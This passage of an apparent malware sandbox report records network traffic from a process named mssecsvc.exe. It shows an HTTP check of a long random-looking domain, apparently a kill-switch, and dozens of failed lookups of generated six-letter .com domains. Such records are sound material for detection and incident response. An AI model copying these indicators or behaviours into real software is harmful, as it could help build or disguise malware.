                                                                                        Jul 20, 2022 08:10:35.041687012 CEST8049820104.16.173.80192.168.2.4
                                                                                        Jul 20, 2022 08:10:35.041856050 CEST4982080192.168.2.4104.16.173.80
                                                                                        Jul 20, 2022 08:10:35.046397924 CEST4982080192.168.2.4104.16.173.80
                                                                                        Jul 20, 2022 08:10:35.062922955 CEST8049820104.16.173.80192.168.2.4
                                                                                        Jul 20, 2022 08:10:35.073319912 CEST8049820104.16.173.80192.168.2.4
                                                                                        Jul 20, 2022 08:10:35.073362112 CEST8049820104.16.173.80192.168.2.4
                                                                                        Jul 20, 2022 08:10:35.073481083 CEST4982080192.168.2.4104.16.173.80
                                                                                        Jul 20, 2022 08:10:35.075988054 CEST4982080192.168.2.4104.16.173.80
                                                                                        Jul 20, 2022 08:10:35.092489004 CEST8049820104.16.173.80192.168.2.4

                                                                                        UDP Packets

                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                        Jul 20, 2022 08:08:38.980710983 CEST6050653192.168.2.48.8.8.8
                                                                                        Jul 20, 2022 08:08:38.999821901 CEST53605068.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:10:34.985681057 CEST6108153192.168.2.48.8.8.8
                                                                                        Jul 20, 2022 08:10:35.004633904 CEST53610818.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:00.014173031 CEST53604188.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:00.045568943 CEST53642598.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:00.098793030 CEST53610688.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:41.707331896 CEST53539168.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:41.743891001 CEST53607908.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:41.775137901 CEST53627088.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:41.810866117 CEST53609468.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:41.863698959 CEST53534838.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:41.900676012 CEST53617808.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:41.930598974 CEST53575678.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:41.968133926 CEST53506618.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.000217915 CEST53511108.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.039208889 CEST53551798.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.089898109 CEST53595108.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.123725891 CEST53493208.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.179044008 CEST53588638.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.229995012 CEST53652878.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.261729956 CEST53570208.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.291044950 CEST53551258.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.336509943 CEST53498708.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.385677099 CEST53534808.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.416598082 CEST53649458.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.443886995 CEST53579928.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.474167109 CEST53556648.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.535969019 CEST53554798.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.646573067 CEST53516798.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.694854975 CEST53501218.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.722997904 CEST53610308.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.772778988 CEST53624688.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.821486950 CEST53507378.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.856961012 CEST53539708.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.886879921 CEST53651688.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.915906906 CEST53618498.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:42.957566977 CEST53626438.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.008318901 CEST53618888.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.045607090 CEST53614998.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.082511902 CEST53633568.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.113521099 CEST53573768.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.225974083 CEST53634298.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.255824089 CEST53654898.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.292047977 CEST53512398.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.321223021 CEST53526568.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.362071991 CEST53611358.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.393872976 CEST53514178.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.426815033 CEST53570208.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.462937117 CEST53556598.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.521203041 CEST53495798.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.549418926 CEST53604458.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.595458984 CEST53548138.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.625323057 CEST53565208.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.660711050 CEST53602338.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.688898087 CEST53498908.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.719372988 CEST53578388.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.753742933 CEST53546618.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.803939104 CEST53626468.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.855076075 CEST53555698.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.908179045 CEST53611148.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.943572998 CEST53513988.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:43.993860960 CEST53619028.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.036828041 CEST53581658.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.073856115 CEST53542998.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.102785110 CEST53653598.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.142294884 CEST53637258.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.176003933 CEST53578648.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.205476999 CEST53550068.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.246507883 CEST53498398.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.297760963 CEST53515608.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.333337069 CEST53514788.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.383774042 CEST53580988.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.434608936 CEST53612698.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.472219944 CEST53650608.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.520874977 CEST53517288.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.551327944 CEST53507808.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.579818964 CEST53564168.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.630069971 CEST53575468.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.678541899 CEST53627648.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.707209110 CEST53510828.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.773343086 CEST53641358.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.834685087 CEST53512858.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.882930994 CEST53636488.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.915484905 CEST53514698.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.951241016 CEST53539198.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:44.986239910 CEST53638638.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:45.021620989 CEST53573168.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:45.056293964 CEST53629488.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:45.089102983 CEST53496438.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:45.117082119 CEST53622258.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:45.145978928 CEST53635558.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:45.175503016 CEST53518638.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:45.206507921 CEST53516728.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:45.325541973 CEST53497798.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:45.371040106 CEST53649258.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:45.403378963 CEST53573478.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:45.436646938 CEST53496568.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:45.473082066 CEST53627398.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:11:45.591344118 CEST53614578.8.8.8192.168.2.4
                                                                                        Jul 20, 2022 08:12:05.668427944 CEST53632848.8.8.8192.168.2.4

                                                                                        ICMP Packets

                                                                                        TimestampSource IPDest IPChecksumCodeType
                                                                                        Jul 20, 2022 08:11:01.681197882 CEST192.168.2.48.8.8.8d01d(Port unreachable)Destination Unreachable

                                                                                        DNS Queries

                                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                        Jul 20, 2022 08:08:38.980710983 CEST192.168.2.48.8.8.80x5acStandard query (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:10:34.985681057 CEST192.168.2.48.8.8.80xd3c1Standard query (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comA (IP address)IN (0x0001)

                                                                                        DNS Answers

                                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                        Jul 20, 2022 08:08:38.999821901 CEST8.8.8.8192.168.2.40x5acNo error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.16.173.80A (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:08:38.999821901 CEST8.8.8.8192.168.2.40x5acNo error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.17.244.81A (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:10:35.004633904 CEST8.8.8.8192.168.2.40xd3c1No error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.16.173.80A (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:10:35.004633904 CEST8.8.8.8192.168.2.40xd3c1No error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.17.244.81A (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:00.014173031 CEST8.8.8.8192.168.2.40x9972Name error (3)oxhldj.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:00.045568943 CEST8.8.8.8192.168.2.40x22b9Name error (3)kmyyup.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:00.098793030 CEST8.8.8.8192.168.2.40xaa91Name error (3)yiuiob.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:41.707331896 CEST8.8.8.8192.168.2.40xcd69Name error (3)firgwb.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:41.743891001 CEST8.8.8.8192.168.2.40x994aName error (3)oiozmk.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:41.775137901 CEST8.8.8.8192.168.2.40xd38Name error (3)dnfawt.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:41.810866117 CEST8.8.8.8192.168.2.40x2f7bName error (3)bytlkv.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:41.863698959 CEST8.8.8.8192.168.2.40x57d8Name error (3)yfjfhe.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:41.900676012 CEST8.8.8.8192.168.2.40x669aName error (3)aecioj.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:41.930598974 CEST8.8.8.8192.168.2.40xac1cName error (3)hmjwyh.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:41.968133926 CEST8.8.8.8192.168.2.40x4e15Name error (3)lodyin.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.000217915 CEST8.8.8.8192.168.2.40x1defName error (3)ynocfi.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.039208889 CEST8.8.8.8192.168.2.40xdb82Name error (3)miypiw.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.089898109 CEST8.8.8.8192.168.2.40x3725Name error (3)ufpneq.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.123725891 CEST8.8.8.8192.168.2.40x8e18Name error (3)uefroj.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.179044008 CEST8.8.8.8192.168.2.40x65b5Name error (3)ntafnh.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.229995012 CEST8.8.8.8192.168.2.40xfe26Name error (3)iowlim.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.261729956 CEST8.8.8.8192.168.2.40x43c9Name error (3)nazbae.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.291044950 CEST8.8.8.8192.168.2.40x9bbbName error (3)eooqal.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.336509943 CEST8.8.8.8192.168.2.40x8172Name error (3)zojkvx.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.385677099 CEST8.8.8.8192.168.2.40xecefName error (3)wujogm.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.416598082 CEST8.8.8.8192.168.2.40x9fe2Name error (3)ynbdei.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.443886995 CEST8.8.8.8192.168.2.40xd409Name error (3)xdqbja.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.474167109 CEST8.8.8.8192.168.2.40x349aName error (3)ucplok.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.535969019 CEST8.8.8.8192.168.2.40xbd63Name error (3)mnxfoj.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.646573067 CEST8.8.8.8192.168.2.40xd748Name error (3)dyaqay.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.694854975 CEST8.8.8.8192.168.2.40x5373Name error (3)vyoshc.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.722997904 CEST8.8.8.8192.168.2.40xaacbName error (3)vquyis.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.772778988 CEST8.8.8.8192.168.2.40xf540Name error (3)eeaqya.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.821486950 CEST8.8.8.8192.168.2.40xf9bdName error (3)xwaezn.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.856961012 CEST8.8.8.8192.168.2.40x113cName error (3)numuem.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.886879921 CEST8.8.8.8192.168.2.40xf277Name error (3)pldwaw.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.915906906 CEST8.8.8.8192.168.2.40x510cName error (3)ahyoog.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:42.957566977 CEST8.8.8.8192.168.2.40x2152Name error (3)ztkggj.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.008318901 CEST8.8.8.8192.168.2.40x5d0fName error (3)tlklef.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.045607090 CEST8.8.8.8192.168.2.40xa21Name error (3)jfelvk.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.082511902 CEST8.8.8.8192.168.2.40x6ae8Name error (3)abwssy.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.113521099 CEST8.8.8.8192.168.2.40xd4f7Name error (3)eiyrxm.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.225974083 CEST8.8.8.8192.168.2.40x4ae9Name error (3)qmjbki.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.255824089 CEST8.8.8.8192.168.2.40x98d3Name error (3)ezsibf.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.292047977 CEST8.8.8.8192.168.2.40xa0e2Name error (3)imesri.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.321223021 CEST8.8.8.8192.168.2.40x9ccName error (3)ntatdi.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.362071991 CEST8.8.8.8192.168.2.40xcc68Name error (3)foubsw.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.393872976 CEST8.8.8.8192.168.2.40xa9c3Name error (3)bulycg.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.426815033 CEST8.8.8.8192.168.2.40x74a4Name error (3)wqdqvo.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.462937117 CEST8.8.8.8192.168.2.40x124dName error (3)ooecff.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.521203041 CEST8.8.8.8192.168.2.40x8e41Name error (3)podgkr.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.549418926 CEST8.8.8.8192.168.2.40xa332Name error (3)ezwaah.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.595458984 CEST8.8.8.8192.168.2.40xd193Name error (3)eyyaki.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.625323057 CEST8.8.8.8192.168.2.40x7f98Name error (3)ofqlzq.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.660711050 CEST8.8.8.8192.168.2.40x6963Name error (3)pteuey.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.688898087 CEST8.8.8.8192.168.2.40x95d4Name error (3)bljqyg.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.719372988 CEST8.8.8.8192.168.2.40x1c91Name error (3)jiauxi.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.753742933 CEST8.8.8.8192.168.2.40x26a6Name error (3)yqdctm.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.803939104 CEST8.8.8.8192.168.2.40xb70dName error (3)ltjyqg.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.855076075 CEST8.8.8.8192.168.2.40xef89Name error (3)wyngdq.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.908179045 CEST8.8.8.8192.168.2.40x5b30Name error (3)avapka.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.943572998 CEST8.8.8.8192.168.2.40x2b2bName error (3)eyzovp.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:43.993860960 CEST8.8.8.8192.168.2.40x3f6dName error (3)kaolci.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.036828041 CEST8.8.8.8192.168.2.40x956dName error (3)lwmast.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.073856115 CEST8.8.8.8192.168.2.40xfd9cName error (3)foywzb.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.102785110 CEST8.8.8.8192.168.2.40x3c51Name error (3)updviw.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.142294884 CEST8.8.8.8192.168.2.40xce13Name error (3)ufkiuf.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.176003933 CEST8.8.8.8192.168.2.40x729fName error (3)vvafhy.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.205476999 CEST8.8.8.8192.168.2.40x74f9Name error (3)lsejdl.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.246507883 CEST8.8.8.8192.168.2.40x8690Name error (3)zsojpp.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.297760963 CEST8.8.8.8192.168.2.40x3c87Name error (3)iytcia.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.333337069 CEST8.8.8.8192.168.2.40xcc3cName error (3)fpxsvo.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.383774042 CEST8.8.8.8192.168.2.40xc7c6Name error (3)umzfvu.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.434608936 CEST8.8.8.8192.168.2.40xf268Name error (3)qiicsw.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.472219944 CEST8.8.8.8192.168.2.40xd7f0Name error (3)zyedxf.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.520874977 CEST8.8.8.8192.168.2.40x6b62Name error (3)yojfkx.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.551327944 CEST8.8.8.8192.168.2.40x344eName error (3)vrbfui.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.579818964 CEST8.8.8.8192.168.2.40xda78Name error (3)gyablb.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.630069971 CEST8.8.8.8192.168.2.40xad58Name error (3)aolfou.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.678541899 CEST8.8.8.8192.168.2.40x17c7Name error (3)abuppo.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.707209110 CEST8.8.8.8192.168.2.40x5c3eName error (3)boscgs.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.773343086 CEST8.8.8.8192.168.2.40xd42dName error (3)uqsayv.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.834685087 CEST8.8.8.8192.168.2.40xed1Name error (3)boiyvi.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.882930994 CEST8.8.8.8192.168.2.40x7ee1Name error (3)bhwmik.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.915484905 CEST8.8.8.8192.168.2.40xdaecName error (3)wyfeoi.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.951241016 CEST8.8.8.8192.168.2.40x1f1bName error (3)kwxvtu.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:44.986239910 CEST8.8.8.8192.168.2.40x69a4Name error (3)jrrxbq.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:45.021620989 CEST8.8.8.8192.168.2.40x138dName error (3)nydasx.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:45.056293964 CEST8.8.8.8192.168.2.40x7633Name error (3)pwdtvr.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:45.089102983 CEST8.8.8.8192.168.2.40x699fName error (3)hiwfme.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:45.117082119 CEST8.8.8.8192.168.2.40x8d7dName error (3)acgwup.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:45.145978928 CEST8.8.8.8192.168.2.40x9c9aName error (3)ykuype.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:45.175503016 CEST8.8.8.8192.168.2.40xbd61Name error (3)vjwkoz.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:45.206507921 CEST8.8.8.8192.168.2.40x2ee9Name error (3)aimfkv.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:45.325541973 CEST8.8.8.8192.168.2.40x7797Name error (3)gcnyrz.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:45.371040106 CEST8.8.8.8192.168.2.40xc538Name error (3)ooycfw.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:45.403378963 CEST8.8.8.8192.168.2.40xd64Name error (3)lofjzl.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:45.436646938 CEST8.8.8.8192.168.2.40xec4bName error (3)utubwt.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:45.473082066 CEST8.8.8.8192.168.2.40x8349Name error (3)rvdjxp.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:11:45.591344118 CEST8.8.8.8192.168.2.40x4eafName error (3)jlbhfg.comnonenoneA (IP address)IN (0x0001)
                                                                                        Jul 20, 2022 08:12:05.668427944 CEST8.8.8.8192.168.2.40xe992Name error (3)fpieey.comnonenoneA (IP address)IN (0x0001)

                                                                                        HTTP Request Dependency Graph

                                                                                        • www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

                                                                                        HTTP Packets

                                                                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                        0192.168.2.449758104.16.173.8080C:\Windows\mssecsvc.exe
                                                                                        TimestampkBytes transferredDirectionData
                                                                                        Jul 20, 2022 08:08:39.045588970 CEST1066OUTGET / HTTP/1.1
                                                                                        Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
                                                                                        Cache-Control: no-cache
                                                                                        Jul 20, 2022 08:08:39.075583935 CEST1067INHTTP/1.1 200 OK
                                                                                        Date: Wed, 20 Jul 2022 06:08:39 GMT
                                                                                        Content-Type: text/html
                                                                                        Content-Length: 607
                                                                                        Connection: close
                                                                                        Server: cloudflare
                                                                                        CF-RAY: 72d986040d58918e-FRA
